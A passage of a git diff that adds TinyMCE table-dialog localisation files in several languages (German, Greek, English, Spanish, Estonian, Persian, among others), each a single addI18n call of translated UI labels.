r\u00e6kker p\u00e5 {$rows}.","col_limit":"Du har overskredet antallet af tilladte kolonner p\u00e5 {$cols}.",colgroup:"Kolonnegruppe",rowgroup:"R\u00e6kkegruppe",scope:"Forklaring",tfoot:"Tabelfod",tbody:"Tabelkrop",thead:"Tabelhoved","row_all":"Opdater alle r\u00e6kker","row_even":"Opdater lige r\u00e6kker","row_odd":"Opdater ulige r\u00e6kker","row_row":"Opdater aktuelle celle","cell_all":"Opdater alle celler i tabellen","cell_row":"Opdater alle celler i r\u00e6kken","cell_cell":"Opdater aktuelle celle",th:"Hoved",td:"Data",summary:"Beskrivelse",bgimage:"Baggrundsbillede",rtl:"H\u00f8jre mod venstre",ltr:"Venstre mod h\u00f8jre",mime:"Destinations-MIME-type",langcode:"Sprogkode",langdir:"Sprogretning",style:"Style",id:"Id","merge_cells_title":"Flet celler",bgcolor:"Baggrundsfarve",bordercolor:"Kantfarve","align_bottom":"Bund","align_top":"Top",valign:"Vertikal justering","cell_type":"Celletype","cell_title":"Celleegenskaber","row_title":"R\u00e6kkeegenskaber","align_middle":"Centreret","align_right":"H\u00f8jre","align_left":"Venstre","align_default":"Standard",align:"Justering",border:"Kant",cellpadding:"Afstand til celleindhold",cellspacing:"Afstand mellem celler",rows:"R\u00e6kker",cols:"Kolonner",height:"H\u00f8jde",width:"Bredde",title:"Inds\u00e6t/rediger tabel",rowtype:"R\u00e6kke i tabel del","advanced_props":"Avancerede egenskaber","general_props":"Generelle egenskaber","advanced_tab":"Avanceret","general_tab":"Generelt","cell_col":"Opdat\u00e9r alle celler i en s\u00f8jle"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/de_dlg.js b/js/tiny_mce2/plugins/table/langs/de_dlg.js new file mode 100755 index 0000000..5a64ebd --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/de_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('de.table_dlg',{"rules_border":"alle 4 Seiten (Border)","rules_box":"alle 4 Seiten (Box)","rules_vsides":"links und rechts","rules_rhs":"nur rechts","rules_lhs":"nur links","rules_hsides":"oben und unten","rules_below":"nur unten","rules_above":"nur oben","rules_void":"keins",rules:"Gitter","frame_all":"zwischen allen Zellen","frame_cols":"zwischen Spalten","frame_rows":"zwischen Zeilen","frame_groups":"zwischen Gruppen","frame_none":"keine",frame:"Rahmen",caption:"Beschriftung der Tabelle","missing_scope":"Wollen Sie wirklich keine Beziehung f\u00fcr diese \u00dcberschrift angeben? Benutzer mit k\u00f6rperlichen Einschr\u00e4nkungen k\u00f6nnten Schwierigkeiten haben, den Inhalt der Tabelle zu verstehen.","cell_limit":"Sie haben die maximale Zellenzahl von {$cells} \u00fcberschritten.","row_limit":"Sie haben die maximale Zeilenzahl von {$rows} \u00fcberschritten.","col_limit":"Sie haben die maximale Spaltenzahl von {$cols} \u00fcberschritten.",colgroup:"Horizontal gruppieren",rowgroup:"Vertikal gruppieren",scope:"Bezug",tfoot:"Tabellenfu\u00df",tbody:"Tabelleninhalt",thead:"Tabellenkopf","row_all":"Alle Zeilen ver\u00e4ndern","row_even":"Gerade Zeilen ver\u00e4ndern","row_odd":"Ungerade Zeilen ver\u00e4ndern","row_row":"Diese Zeile ver\u00e4ndern","cell_all":"Alle Zellen der Tabelle ver\u00e4ndern","cell_row":"Alle Zellen in dieser Zeile ver\u00e4ndern","cell_cell":"Diese Zelle ver\u00e4ndern",th:"\u00dcberschrift",td:"Textzelle",summary:"Zusammenfassung",bgimage:"Hintergrundbild",rtl:"Rechts nach links",ltr:"Links nach rechts",mime:"MIME-Type des Inhalts",langcode:"Sprachcode",langdir:"Schriftrichtung",style:"Format",id:"ID","merge_cells_title":"Zellen vereinen",bgcolor:"Hintergrundfarbe",bordercolor:"Rahmenfarbe","align_bottom":"Unten","align_top":"Oben",valign:"Vertikale Ausrichtung","cell_type":"Zellentyp","cell_title":"Eigenschaften der Zelle","row_title":"Eigenschaften der Zeile","align_middle":"Mittig","align_right":"Rechts","align_left":"Links","align_default":"Standard",align:"Ausrichtung",border:"Rahmen",cellpadding:"Abstand innerhalb der Zellen",cellspacing:"Zellenabstand",rows:"Zeilen",cols:"Spalten",height:"H\u00f6he",width:"Breite",title:"Tabelle einf\u00fcgen/bearbeiten",rowtype:"Gruppierung","advanced_props":"Erweiterte Einstellungen","general_props":"Allgemeine Einstellungen","advanced_tab":"Erweitert","general_tab":"Allgemein","cell_col":"Alle Zellen in dieser Spalte aktualisieren"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/el_dlg.js b/js/tiny_mce2/plugins/table/langs/el_dlg.js new file mode 100755 index 0000000..f2510f0 --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/el_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('el.table_dlg',{"rules_border":"\u03c0\u03bb\u03b1\u03af\u03c3\u03b9\u03bf","rules_box":"\u03ba\u03bf\u03c5\u03c4\u03af","rules_vsides":"\u03ba\u03ac\u03b8\u03b5\u03c4\u03b5\u03c2 \u03c0\u03bb\u03b5\u03c5\u03c1\u03ad\u03c2","rules_rhs":"\u03b4\u03b5\u03be\u03b9\u03ac \u03bf\u03c1\u03b9\u03b6\u03cc\u03bd\u03c4\u03b9\u03b1 \u03c0\u03bb\u03b5\u03c5\u03c1\u03ac","rules_lhs":"\u03b1\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ae \u03bf\u03c1\u03b9\u03b6\u03cc\u03bd\u03c4\u03b9\u03b1 \u03c0\u03bb\u03b5\u03c5\u03c1\u03ac","rules_hsides":"\u03bf\u03c1\u03b9\u03b6\u03cc\u03bd\u03c4\u03b9\u03b5\u03c2 \u03c0\u03bb\u03b5\u03c5\u03c1\u03ad\u03c2","rules_below":"\u03b1\u03c0\u03cc \u03ba\u03ac\u03c4\u03c9","rules_above":"\u03b1\u03c0\u03cc \u03c0\u03ac\u03bd\u03c9","rules_void":"\u03ba\u03b5\u03bd\u03cc",rules:"\u039a\u03b1\u03bd\u03cc\u03bd\u03b5\u03c2","frame_all":"\u03cc\u03bb\u03b1","frame_cols":"\u03c3\u03c4\u03ae\u03bb\u03b5\u03c2","frame_rows":"\u03b3\u03c1\u03b1\u03bc\u03bc\u03ad\u03c2","frame_groups":"\u03bf\u03bc\u03ac\u03b4\u03b5\u03c2","frame_none":"\u03ba\u03b1\u03bd\u03ad\u03bd\u03b1",frame:"Frame",caption:"\u0395\u03c0\u03b9\u03ba\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1 \u03c0\u03af\u03bd\u03b1\u03ba\u03b1","missing_scope":"\u03a3\u03af\u03b3\u03bf\u03c5\u03c1\u03b1 \u03b8\u03ad\u03bb\u03b5\u03c4\u03b5 \u03bd\u03b1 \u03c3\u03c5\u03bd\u03b5\u03c7\u03af\u03c3\u03b5\u03c4\u03b5 \u03c7\u03c9\u03c1\u03af\u03c2 \u03bd\u03b1 \u03ad\u03c7\u03b5\u03c4\u03b5 \u03ba\u03b1\u03b8\u03bf\u03c1\u03af\u03c3\u03b5\u03b9 \u03c4\u03b7\u03bd \u03b5\u03bc\u03b2\u03ad\u03bb\u03b5\u03b9\u03b1 \u03c4\u03bf\u03c5 \u03ba\u03b5\u03bb\u03b9\u03bf\u03cd \u03c4\u03b7\u03c2 \u03ba\u03bf\u03c1\u03c5\u03c6\u03ae\u03c2 \u03c0\u03af\u03bd\u03b1\u03ba\u03b1. \u03a7\u03c9\u03c1\u03af\u03c2 \u03b1\u03c5\u03c4\u03ae, \u03bc\u03c0\u03bf\u03c1\u03b5\u03af \u03bd\u03b1 \u03b5\u03af\u03bd\u03b1\u03b9 \u03b4\u03cd\u03c3\u03ba\u03bf\u03bb\u03bf \u03b3\u03b9\u03b1 \u03ba\u03ac\u03c0\u03bf\u03b9\u03bf\u03c5\u03c2 \u03c7\u03c1\u03ae\u03c3\u03c4\u03b5\u03c2 \u03bc\u03b5 \u03c0\u03c1\u03bf\u03b2\u03bb\u03ae\u03bc\u03b1\u03c4\u03b1 \u03bd\u03b1 \u03ba\u03b1\u03c4\u03b1\u03bb\u03ac\u03b2\u03bf\u03c5\u03bd \u03c4\u03bf \u03c0\u03b5\u03c1\u03b9\u03b5\u03c7\u03cc\u03bc\u03b5\u03bd\u03bf \u03c4\u03bf\u03c5 \u03c0\u03af\u03bd\u03b1\u03ba\u03b1.","cell_limit":"\u0388\u03c7\u03b5\u03c4\u03b5 \u03be\u03b5\u03c0\u03b5\u03c1\u03ac\u03c3\u03b5\u03b9 \u03c4\u03bf \u03cc\u03c1\u03b9\u03bf \u03c4\u03c9\u03bd \u03ba\u03b5\u03bb\u03b9\u03ce\u03bd \u03c0\u03bf\u03c5 \u03b5\u03af\u03bd\u03b1\u03b9 {$cells}.","row_limit":"\u0388\u03c7\u03b5\u03c4\u03b5 \u03be\u03b5\u03c0\u03b5\u03c1\u03ac\u03c3\u03b5\u03b9 \u03c4\u03bf \u03cc\u03c1\u03b9\u03bf \u03c4\u03c9\u03bd \u03b3\u03c1\u03b1\u03bc\u03bc\u03ce\u03bd \u03c0\u03bf\u03c5 \u03b5\u03af\u03bd\u03b1\u03b9 {$rows}.","col_limit":"\u0388\u03c7\u03b5\u03c4\u03b5 \u03be\u03b5\u03c0\u03b5\u03c1\u03ac\u03c3\u03b5\u03b9 \u03c4\u03bf \u03cc\u03c1\u03b9\u03bf \u03c4\u03c9\u03bd \u03c3\u03c4\u03b7\u03bb\u03c9\u03bd \u03c0\u03bf\u03c5 \u03b5\u03af\u03bd\u03b1\u03b9 {$cols}.",colgroup:"\u039f\u03bc\u03ac\u03b4\u03b1 \u03c3\u03c4\u03b7\u03bb\u03ce\u03bd",rowgroup:"\u039f\u03bc\u03ac\u03b4\u03b1 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ce\u03bd",scope:"\u0395\u03bc\u03b2\u03ad\u03bb\u03b5\u03b9\u03b1",tfoot:"\u0392\u03ac\u03c3\u03b7 \u03c0\u03af\u03bd\u03b1\u03ba\u03b1",tbody:"\u03a3\u03ce\u03bc\u03b1 \u03c0\u03af\u03bd\u03b1\u03ba\u03b1",thead:"\u039a\u03bf\u03c1\u03c5\u03c6\u03ae \u03c0\u03af\u03bd\u03b1\u03ba\u03b1","row_all":"\u0395\u03bd\u03b7\u03bc\u03ad\u03c1\u03c9\u03c3\u03b7 \u03cc\u03bb\u03c9\u03bd \u03c4\u03c9\u03bd \u03b3\u03c1\u03b1\u03bc\u03bc\u03ce\u03bd \u03c4\u03bf\u03c5 \u03c0\u03af\u03bd\u03b1\u03ba\u03b1","row_even":"\u0395\u03bd\u03b7\u03bc\u03ad\u03c1\u03c9\u03c3\u03b7 \u03c4\u03c9\u03bd \u03b6\u03c5\u03b3\u03ce\u03bd \u03b3\u03c1\u03b1\u03bc\u03bc\u03ce\u03bd \u03c4\u03bf\u03c5 \u03c0\u03af\u03bd\u03b1\u03ba\u03b1","row_odd":"\u0395\u03bd\u03b7\u03bc\u03ad\u03c1\u03c9\u03c3\u03b7 \u03c4\u03c9\u03bd \u03bc\u03bf\u03bd\u03ce\u03bd \u03b3\u03c1\u03b1\u03bc\u03bc\u03ce\u03bd \u03c4\u03bf\u03c5 \u03c0\u03af\u03bd\u03b1\u03ba\u03b1","row_row":"\u0395\u03bd\u03b7\u03bc\u03ad\u03c1\u03c9\u03c3\u03b7 \u03c4\u03b7\u03c2 \u03c4\u03c1\u03ad\u03c7\u03bf\u03c5\u03c3\u03b1\u03c2 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2","cell_all":"\u0395\u03bd\u03b7\u03bc\u03ad\u03c1\u03c9\u03c3\u03b7 \u03cc\u03bb\u03c9\u03bd \u03c4\u03c9\u03bd \u03ba\u03b5\u03bb\u03b9\u03ce\u03bd \u03c4\u03bf\u03c5 \u03c0\u03af\u03bd\u03b1\u03ba\u03b1","cell_row":"\u0395\u03bd\u03b7\u03bc\u03ad\u03c1\u03c9\u03c3\u03b7 \u03cc\u03bb\u03c9\u03bd \u03c4\u03c9\u03bd \u03ba\u03b5\u03bb\u03b9\u03ce\u03bd \u03c4\u03b7\u03c2 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2","cell_cell":"\u0395\u03bd\u03b7\u03bc\u03ad\u03c1\u03c9\u03c3\u03b7 \u03c4\u03c1\u03ad\u03c7\u03bf\u03bd\u03c4\u03bf\u03c2 \u03ba\u03b5\u03bb\u03b9\u03bf\u03cd",th:"\u0395\u03c0\u03b9\u03ba\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1",td:"\u0394\u03b5\u03b4\u03bf\u03bc\u03ad\u03bd\u03b1",summary:"\u03a0\u03b5\u03c1\u03af\u03bb\u03b7\u03c8\u03b7",bgimage:"\u0395\u03b9\u03ba\u03cc\u03bd\u03b1 \u03c6\u03cc\u03bd\u03c4\u03bf\u03c5",rtl:"\u0394\u03b5\u03be\u03b9\u03ac \u03c0\u03c1\u03bf\u03c2 \u03b1\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac",ltr:"\u0391\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac \u03c0\u03c1\u03bf\u03c2 \u03b4\u03b5\u03be\u03b9\u03ac",mime:"\u03a4\u03cd\u03c0\u03bf\u03c2 MIME \u03c3\u03c4\u03cc\u03c7\u03bf\u03c5",langcode:"\u039a\u03c9\u03b4\u03b9\u03ba\u03cc\u03c2 \u03b3\u03bb\u03ce\u03c3\u03c3\u03b1\u03c2",langdir:"\u039a\u03b1\u03c4\u03b5\u03cd\u03b8\u03c5\u03bd\u03c3\u03b7 \u03b3\u03bb\u03ce\u03c3\u03c3\u03b1\u03c2",style:"\u03a3\u03c4\u03c5\u03bb",id:"Id","merge_cells_title":"\u03a3\u03c5\u03b3\u03c7\u03ce\u03bd\u03b5\u03c5\u03c3\u03b7 \u03ba\u03b5\u03bb\u03b9\u03ce\u03bd \u03c0\u03af\u03bd\u03b1\u03ba\u03b1",bgcolor:"\u03a7\u03c1\u03ce\u03bc\u03b1 \u03c6\u03cc\u03bd\u03c4\u03bf\u03c5",bordercolor:"\u03a7\u03c1\u03ce\u03bc\u03b1 \u03c0\u03bb\u03b1\u03b9\u03c3\u03af\u03bf\u03c5","align_bottom":"\u039a\u03ac\u03c4\u03c9","align_top":"\u03a0\u03ac\u03bd\u03c9",valign:"\u039a\u03b1\u03c4\u03b1\u03ba\u03cc\u03c1\u03c5\u03c6\u03b7 \u03c3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7","cell_type":"\u03a4\u03cd\u03c0\u03bf\u03c2 \u03ba\u03b5\u03bb\u03b9\u03bf\u03cd","cell_title":"\u0399\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2 \u03ba\u03b5\u03bb\u03b9\u03bf\u03cd \u03c0\u03af\u03bd\u03b1\u03ba\u03b1","row_title":"\u0399\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2 \u03c0\u03af\u03bd\u03b1\u03ba\u03b1","align_middle":"\u039a\u03ad\u03bd\u03c4\u03c1\u03bf","align_right":"\u0394\u03b5\u03be\u03b9\u03ac","align_left":"\u0391\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac","align_default":"\u03a0\u03c1\u03bf\u03b5\u03c0\u03b9\u03bb\u03b5\u03b3\u03bc\u03ad\u03bd\u03b7",align:"\u03a3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7",border:"\u03a0\u03bb\u03b1\u03af\u03c3\u03b9\u03bf",cellpadding:"\u0393\u03ad\u03bc\u03b9\u03c3\u03bc\u03b1 \u03ba\u03b5\u03bb\u03b9\u03ce\u03bd",cellspacing:"\u0391\u03c0\u03cc\u03c3\u03c4\u03b1\u03c3\u03b7 \u03ba\u03b5\u03bb\u03b9\u03ce\u03bd",rows:"\u0393\u03c1\u03b1\u03bc\u03bc\u03ad\u03c2",cols:"\u03a3\u03c4\u03ae\u03bb\u03b5\u03c2",height:"\u038e\u03c8\u03bf\u03c2",width:"\u03a0\u03bb\u03ac\u03c4\u03bf\u03c2",title:"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae/\u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 \u03c0\u03af\u03bd\u03b1\u03ba\u03b1",rowtype:"\u0393\u03c1\u03b1\u03bc\u03bc\u03ae \u03c3\u03b5 \u03bc\u03ad\u03c1\u03bf\u03c2 \u03c0\u03af\u03bd\u03b1\u03ba\u03b1","advanced_props":"\u03a0\u03c1\u03bf\u03c7\u03c9\u03c1\u03b7\u03bc\u03ad\u03bd\u03b5\u03c2 \u03b9\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2","general_props":"\u0393\u03b5\u03bd\u03b9\u03ba\u03ad\u03c2 \u03b9\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2","advanced_tab":"\u0393\u03b9\u03b1 \u03c0\u03c1\u03bf\u03c7\u03c9\u03c1\u03b7\u03bc\u03ad\u03bd\u03bf\u03c5\u03c2","general_tab":"\u0393\u03b5\u03bd\u03b9\u03ba\u03ac","cell_col":"\u0391\u03bd\u03b1\u03bd\u03ad\u03c9\u03c3\u03b7 \u03cc\u03bb\u03c9\u03bd \u03c4\u03c9\u03bd \u03ba\u03b5\u03bb\u03b9\u03ce\u03bd \u03c3\u03c4\u03b7\u03bd \u03c3\u03c4\u03ae\u03bb\u03b7"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/en_dlg.js b/js/tiny_mce2/plugins/table/langs/en_dlg.js new file mode 100755 index 0000000..463e09e --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/en_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('en.table_dlg',{"rules_border":"border","rules_box":"box","rules_vsides":"vsides","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hsides","rules_below":"below","rules_above":"above","rules_void":"void",rules:"Rules","frame_all":"all","frame_cols":"cols","frame_rows":"rows","frame_groups":"groups","frame_none":"none",frame:"Frame",caption:"Table Caption","missing_scope":"Are you sure you want to continue without specifying a scope for this table header cell. Without it, it may be difficult for some users with disabilities to understand the content or data displayed of the table.","cell_limit":"You\'ve exceeded the maximum number of cells of {$cells}.","row_limit":"You\'ve exceeded the maximum number of rows of {$rows}.","col_limit":"You\'ve exceeded the maximum number of columns of {$cols}.",colgroup:"Col Group",rowgroup:"Row Group",scope:"Scope",tfoot:"Footer",tbody:"Body",thead:"Header","row_all":"Update All Rows in Table","row_even":"Update Even Rows in Table","row_odd":"Update Odd Rows in Table","row_row":"Update Current Row","cell_all":"Update All Cells in Table","cell_row":"Update All Cells in Row","cell_cell":"Update Current Cell",th:"Header",td:"Data",summary:"Summary",bgimage:"Background Image",rtl:"Right to Left",ltr:"Left to Right",mime:"Target MIME Type",langcode:"Language Code",langdir:"Language Direction",style:"Style",id:"ID","merge_cells_title":"Merge Table Cells",bgcolor:"Background Color",bordercolor:"Border Color","align_bottom":"Bottom","align_top":"Top",valign:"Vertical Alignment","cell_type":"Cell Type","cell_title":"Table Cell Properties","row_title":"Table Row Properties","align_middle":"Center","align_right":"Right","align_left":"Left","align_default":"Default",align:"Alignment",border:"Border",cellpadding:"Cell Padding",cellspacing:"Cell Spacing",rows:"Rows",cols:"Columns",height:"Height",width:"Width",title:"Insert/Edit Table",rowtype:"Row Type","advanced_props":"Advanced Properties","general_props":"General Properties","advanced_tab":"Advanced","general_tab":"General","cell_col":"Update all cells in column"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/es_dlg.js b/js/tiny_mce2/plugins/table/langs/es_dlg.js new file mode 100755 index 0000000..32701a8 --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/es_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('es.table_dlg',{"rules_border":"border","rules_box":"box","rules_vsides":"vsides","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hsides","rules_below":"debajo","rules_above":"encima","rules_void":"vac\u00edo",rules:"Reglas","frame_all":"todos","frame_cols":"cols","frame_rows":"filas","frame_groups":"grupos","frame_none":"ninguno",frame:"Recuadro",caption:"Subt\u00edtulo de la tabla","missing_scope":" \u00bfEst\u00e1 seguro que desea continuar sin especificar el alcance del encabezado de celda? Sin \u00e9l podr\u00eda ser dificultoso para algunos usuarios entender el contenido o los datos mostrados en la tabla.","cell_limit":"Ha superado el n\u00famero m\u00e1ximo de celdas: {$cells}.","row_limit":"Ha superado el n\u00famero m\u00e1ximo de filas: {$rows}.","col_limit":"Ha superado el n\u00famero m\u00e1ximo de columnas: {$cols}.",colgroup:"Grupo de columnas",rowgroup:"Grupo de filas",scope:"Alcance",tfoot:"Pie de la tabla",tbody:"Cuerpo de la tabla",thead:"Encabezado de la tabla","row_all":"Actualizar todas las filas","row_even":"Actualizar filas pares","row_odd":"Actualizar filas impares","row_row":"Actualizar fila actual","cell_all":"Actualizar todas las celdas en la tabla","cell_row":"Actualizar todas las celdas en la fila","cell_cell":"Actualizar celda actual",th:"Encabezado",td:"Datos",summary:"Resumen",bgimage:"Imagen de fondo",rtl:"Derecha a izquierda",ltr:"Izquierda a derecha",mime:"Tipo MIME",langcode:"C\u00f3digo del lenguaje",langdir:"Direcci\u00f3n del lenguaje",style:"Estilo",id:"Id","merge_cells_title":"Vincular celdas",bgcolor:"Color de fondo",bordercolor:"Color del borde","align_bottom":"Debajo","align_top":"Arriba",valign:"Alineaci\u00f3n vertical","cell_type":"Tipo de celda","cell_title":"Propiedades de la celda","row_title":"Propiedades de la fila","align_middle":"Centrado","align_right":"Derecha","align_left":"Izquierda","align_default":"Predet.",align:"Alineaci\u00f3n",border:"Borde",cellpadding:"Relleno de celda",cellspacing:"Espaciado de celda",rows:"Filas",cols:"Cols",height:"Alto",width:"Ancho",title:"Insertar/Modificar tabla",rowtype:"Tipo de fila","advanced_props":"Propiedades avanzadas","general_props":"Propiedades generales","advanced_tab":"Avanzado","general_tab":"General","cell_col":"Actualizar todas las celdas en la columna"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/et_dlg.js b/js/tiny_mce2/plugins/table/langs/et_dlg.js new file mode 100755 index 0000000..61e05ff --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/et_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('et.table_dlg',{"rules_border":"raam","rules_box":"kast","rules_vsides":"vsides","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hsides","rules_below":"all","rules_above":"\u00fcleval","rules_void":"t\u00fchi",rules:"Reeglid","frame_all":"k\u00f5ik","frame_cols":"veerud","frame_rows":"read","frame_groups":"grupid","frame_none":"mitte \u00fckski",frame:"Raam",caption:"Tabeli seletus","missing_scope":"Oled kindel, et soovid j\u00e4tkata t\u00e4psustamata antud tabeli p\u00e4ise nime?","cell_limit":"Oled j\u00f5udnud maksimaalse arvu elementideni","row_limit":"Oled j\u00f5udnud maksimaalse arvu ridadeni","col_limit":"Oled j\u00f5udnud maksemaalse arvu veegudeni.",colgroup:"Veeru grupp",rowgroup:"Rea grupp",scope:"Ulatus",tfoot:"Tabeli jalus",tbody:"Tabeli sisu",thead:"Tabeli p\u00e4is","row_all":"Uuenda k\u00f5iki ridu tabelis","row_even":"Uuenda paaris ridu tabelis","row_odd":"Uuenda paarituid ridu tabelis","row_row":"Uuenda antud rida","cell_all":"Uuenda k\u00f5iki lahtreid tabelis","cell_row":"Uuenda k\u00f5iki lahtreid reas","cell_cell":"Uuenda antud lahtrit",th:"P\u00e4is",td:"Info",summary:"Kokkuv\u00f5te",bgimage:"Tausta pilt",rtl:"Paremalt vasakule",ltr:"Vasakult paremale",mime:"M\u00e4rgista MIME t\u00fc\u00fcp",langcode:"Keele kood",langdir:"Keele suund",style:"Stiil",id:"ID","merge_cells_title":"\u00dchenda lahtrid",bgcolor:"Tausta v\u00e4rv",bordercolor:"Raami v\u00e4rv","align_bottom":"All","align_top":"\u00dcleval",valign:"Vertikaalne joondus","cell_type":"Veeru t\u00fc\u00fcp","cell_title":"Tabeli veeru seaded","row_title":"Tabeli rea seaded","align_middle":"Keskel","align_right":"Parem","align_left":"Vasak","align_default":"Vaikimisi",align:"Joondus",border:"Raam",cellpadding:"Veeru t\u00e4ide",cellspacing:"Veeru laius",rows:"Ridu",cols:"Veerge",height:"K\u00f5rgus",width:"Laius",title:"Sisesta/muuda tabelit",rowtype:"Rida rea osas","advanced_props":"T\u00e4psustatud seaded","general_props":"\u00dcldised seaded","advanced_tab":"T\u00e4psustatud","general_tab":"\u00dcldine","cell_col":"Uuenda k\u00f5ik veeru lahtrid"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/fa_dlg.js b/js/tiny_mce2/plugins/table/langs/fa_dlg.js new file mode 100755 index 0000000..349b43f --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/fa_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fa.table_dlg',{"rules_border":"\u062d\u0627\u0634\u06cc\u0647","rules_box":"\u062c\u0639\u0628\u0647","rules_vsides":"vsides","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hsides","rules_below":"\u067e\u0627\u06cc\u06cc\u0646","rules_above":"\u0628\u0627\u0644\u0627","rules_void":"\u062e\u0627\u0644\u06cc",rules:"\u062e\u0637 \u0647\u0627","frame_all":"\u0647\u0645\u0647","frame_cols":"\u0633\u062a\u0648\u0646 \u0647\u0627","frame_rows":"\u0633\u0637\u0631\u0647\u0627","frame_groups":"\u06af\u0631\u0648\u0647 \u0647\u0627","frame_none":"\u0647\u06cc\u0686 \u06a9\u062f\u0627\u0645",frame:"\u0642\u0627\u0628 (Frame)",caption:"\u0639\u0646\u0648\u0627\u0646 \u062c\u062f\u0648\u0644","missing_scope":"\u0622\u06cc\u0627 \u0628\u062f\u0648\u0646 \u062a\u0639\u06cc\u06cc\u0646 \u0645\u062d\u062f\u0648\u062f\u0647 \u0628\u0631\u0627\u06cc \u0633\u0644\u0648\u0644 \u0639\u0646\u0648\u0627\u0646 \u062c\u062f\u0648\u0644\u060c \u0627\u062f\u0627\u0645\u0647 \u0645\u06cc \u062f\u0647\u06cc\u062f\u061f. \u0628\u062f\u0648\u0646 \u0627\u06cc\u0646 \u06a9\u0627\u0631 \u060c \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u062f\u0631\u06a9 \u0645\u062d\u062a\u0648\u0627 \u06cc\u0627 \u062f\u0627\u062f\u0647 \u0647\u0627 \u0628\u0631\u0627\u06cc \u0628\u0639\u0636\u06cc \u0627\u0632 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0645\u0634\u06a9\u0644 \u0628\u0627\u0634\u062f.","cell_limit":"\u0634\u0645\u0627 \u0627\u0632 \u062a\u0639\u062f\u0627\u062f \u062d\u062f\u0627\u06a9\u062b\u0631 {$cells} \u0633\u0644\u0648\u0644 \u062a\u062c\u0627\u0648\u0632 \u06a9\u0631\u062f\u06cc\u062f.","row_limit":"\u0634\u0645\u0627 \u0627\u0632 \u062a\u0639\u062f\u0627\u062f \u062d\u062f\u0627\u06a9\u062b\u0631 {$rows} \u0633\u0637\u0631 \u062a\u062c\u0627\u0648\u0632 \u06a9\u0631\u062f\u06cc\u062f.","col_limit":"\u0634\u0645\u0627 \u0627\u0632 \u062a\u0639\u062f\u0627\u062f \u062d\u062f\u0627\u06a9\u062b\u0631 {$cols} \u0633\u062a\u0648\u0646 \u062a\u062c\u0627\u0648\u0632 \u06a9\u0631\u062f\u06cc\u062f.",colgroup:"\u06af\u0631\u0648\u0647 \u0633\u062a\u0648\u0646",rowgroup:"\u06af\u0631\u0648\u0647 \u0633\u0637\u0631",scope:"\u0645\u062d\u062f\u0648\u062f\u0647",tfoot:"\u067e\u0627\u06cc\u06cc\u0646 \u062c\u062f\u0648\u0644",tbody:"\u0628\u062f\u0646\u0647 \u062c\u062f\u0648\u0644",thead:"\u0628\u0627\u0644\u0627\u06cc \u062c\u062f\u0648\u0644","row_all":"\u0628\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u062a\u0645\u0627\u0645\u06cc \u0633\u0637\u0631\u0647\u0627 \u062f\u0631 \u062c\u062f\u0648\u0644","row_even":"\u0628\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0633\u0637\u0631\u0647\u0627\u06cc \u0632\u0648\u062c \u062f\u0631 \u062c\u062f\u0648\u0644","row_odd":"\u0628\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0633\u0637\u0631\u0647\u0627\u06cc \u0641\u0631\u062f \u062f\u0631 \u062c\u062f\u0648\u0644","row_row":"\u0628\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0633\u0637\u0631 \u0641\u0639\u0644\u06cc","cell_all":"\u0628\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u062a\u0645\u0627\u0645\u06cc \u0633\u0644\u0648\u0644 \u0647\u0627\u06cc \u062c\u062f\u0648\u0644","cell_row":"\u0628\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u062a\u0645\u0627\u0645\u06cc \u0633\u0644\u0648\u0644 \u0647\u0627\u06cc \u0633\u0637\u0631","cell_cell":"\u0628\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0633\u0644\u0648\u0644 \u0641\u0639\u0644\u06cc",th:"\u0633\u0631 